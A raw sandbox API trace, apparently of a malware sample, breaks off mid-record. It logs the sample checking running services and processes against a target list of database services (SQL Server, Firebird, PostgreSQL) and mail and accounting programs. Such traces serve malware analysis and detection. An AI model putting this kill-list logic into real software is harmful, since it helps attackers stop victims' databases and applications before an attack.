7 [0051.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0051.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0051.547] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0051.547] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0051.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0051.547] lstrlenW (lpString="wscsvc") returned 6 [0051.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0051.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0051.547] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0051.547] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0051.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0051.547] lstrlenW (lpString="wuauserv") returned 8 [0051.547] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0051.547] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0051.547] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0051.547] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0051.547] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0051.547] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3f90098 | out: hHeap=0x520000) returned 1 [0051.547] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x188 [0051.553] Process32FirstW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0051.554] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0051.554] lstrlenW (lpString="System") returned 6 [0051.555] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0051.555] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0051.555] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0051.555] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0051.555] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0051.555] lstrlenW (lpString="smss.exe") returned 8 [0051.555] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0051.556] lstrlenW (lpString="csrss.exe") returned 9 [0051.556] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0051.556] lstrlenW (lpString="wininit.exe") returned 11 [0051.556] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0051.557] lstrlenW (lpString="csrss.exe") returned 9 [0051.557] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0051.558] lstrlenW (lpString="winlogon.exe") returned 12 [0051.558] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0051.559] lstrlenW (lpString="services.exe") returned 12 [0051.559] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0051.559] lstrlenW (lpString="lsass.exe") returned 9 [0051.559] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0051.560] lstrlenW (lpString="lsm.exe") returned 7 [0051.560] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.560] lstrlenW (lpString="svchost.exe") returned 11 [0051.560] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.561] lstrlenW (lpString="svchost.exe") returned 11 [0051.561] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.561] lstrlenW (lpString="svchost.exe") returned 11 [0051.561] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.562] lstrlenW (lpString="svchost.exe") returned 11 [0051.562] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.563] lstrlenW (lpString="svchost.exe") returned 11 [0051.563] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0051.563] lstrlenW (lpString="audiodg.exe") returned 11 [0051.563] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.564] lstrlenW (lpString="svchost.exe") returned 11 [0051.564] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.564] lstrlenW (lpString="svchost.exe") returned 11 [0051.564] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0051.565] lstrlenW (lpString="dwm.exe") returned 7 [0051.565] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0051.565] lstrlenW (lpString="explorer.exe") returned 12 [0051.565] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0051.566] lstrlenW (lpString="spoolsv.exe") returned 11 [0051.566] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0051.566] lstrlenW (lpString="taskhost.exe") returned 12 [0051.566] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.567] lstrlenW (lpString="svchost.exe") returned 11 [0051.567] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0051.567] lstrlenW (lpString="taskeng.exe") returned 11 [0051.568] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0051.568] lstrlenW (lpString="taskhost.exe") returned 12 [0051.568] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.569] lstrlenW (lpString="svchost.exe") returned 11 [0051.569] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0051.569] lstrlenW (lpString="sppsvc.exe") returned 10 [0051.569] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.570] lstrlenW (lpString="svchost.exe") returned 11 [0051.570] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="antibodiesbatteries.exe")) returned 1 [0051.570] lstrlenW (lpString="antibodiesbatteries.exe") returned 23 [0051.570] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smsvhskate.exe")) returned 1 [0051.571] lstrlenW (lpString="smsvhskate.exe") returned 14 [0051.571] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="auditorpickupprogramming.exe")) returned 1 [0051.571] lstrlenW (lpString="auditorpickupprogramming.exe") returned 28 [0051.571] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient latin.exe")) returned 1 [0051.572] lstrlenW (lpString="patient latin.exe") returned 17 [0051.572] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barbados.exe")) returned 1 [0051.707] lstrlenW (lpString="barbados.exe") returned 12 [0051.707] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="otthose.exe")) returned 1 [0051.708] lstrlenW (lpString="otthose.exe") returned 11 [0051.708] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="suburban.exe")) returned 1 [0051.708] lstrlenW (lpString="suburban.exe") returned 12 [0051.708] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="examination.exe")) returned 1 [0051.709] lstrlenW (lpString="examination.exe") returned 15 [0051.709] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="circulation-remark-crisis.exe")) returned 1 [0051.710] lstrlenW (lpString="circulation-remark-crisis.exe") returned 29 [0051.710] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="madrid.exe")) returned 1 [0051.710] lstrlenW (lpString="madrid.exe") returned 10 [0051.710] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurerush.exe")) returned 1 [0051.711] lstrlenW (lpString="measurerush.exe") returned 15 [0051.711] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="interest treaty spam.exe")) returned 1 [0051.711] lstrlenW (lpString="interest treaty spam.exe") returned 24 [0051.711] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikecollectionstransformation.exe")) returned 1 [0051.712] lstrlenW (lpString="unlikecollectionstransformation.exe") returned 35 [0051.712] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patrick below addressed.exe")) returned 1 [0051.712] lstrlenW (lpString="patrick below addressed.exe") returned 27 [0051.712] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jessefun.exe")) returned 1 [0051.713] lstrlenW (lpString="jessefun.exe") returned 12 [0051.713] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spyware-tampa.exe")) returned 1 [0051.713] lstrlenW (lpString="spyware-tampa.exe") returned 17 [0051.713] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sellers.exe")) returned 1 [0051.714] lstrlenW (lpString="sellers.exe") returned 11 [0051.714] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gras hair.exe")) returned 1 [0051.714] lstrlenW (lpString="gras hair.exe") returned 13 [0051.714] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="acquisitions.exe")) returned 1 [0051.715] lstrlenW (lpString="acquisitions.exe") returned 16 [0051.715] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="starscondos.exe")) returned 1 [0051.716] lstrlenW (lpString="starscondos.exe") returned 15 [0051.716] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0051.716] lstrlenW (lpString="3dftp.exe") returned 9 [0051.716] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0051.717] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0051.717] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0051.717] lstrlenW (lpString="alftp.exe") returned 9 [0051.717] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0051.718] lstrlenW (lpString="barca.exe") returned 9 [0051.718] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0051.718] lstrlenW (lpString="bitkinex.exe") returned 12 [0051.718] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0051.719] lstrlenW (lpString="coreftp.exe") returned 11 [0051.719] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0051.720] lstrlenW (lpString="far.exe") returned 7 [0051.720] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0051.720] lstrlenW (lpString="filezilla.exe") returned 13 [0051.720] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0051.721] lstrlenW (lpString="flashfxp.exe") returned 12 [0051.721] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0051.721] lstrlenW (lpString="fling.exe") returned 9 [0051.721] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0051.722] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0051.722] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0051.723] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0051.723] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0051.724] lstrlenW (lpString="icq.exe") returned 7 [0051.724] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0051.724] lstrlenW (lpString="leechftp.exe") returned 12 [0051.724] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0051.725] lstrlenW (lpString="ncftp.exe") returned 9 [0051.725] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0051.726] lstrlenW (lpString="notepad.exe") returned 11 [0051.726] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0051.728] lstrlenW (lpString="operamail.exe") returned 13 [0051.728] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0051.729] lstrlenW (lpString="pidgin.exe") returned 10 [0051.729] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0051.730] lstrlenW (lpString="scriptftp.exe") returned 13 [0051.730] Process32NextW (in: hSnapshot=0x188, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, 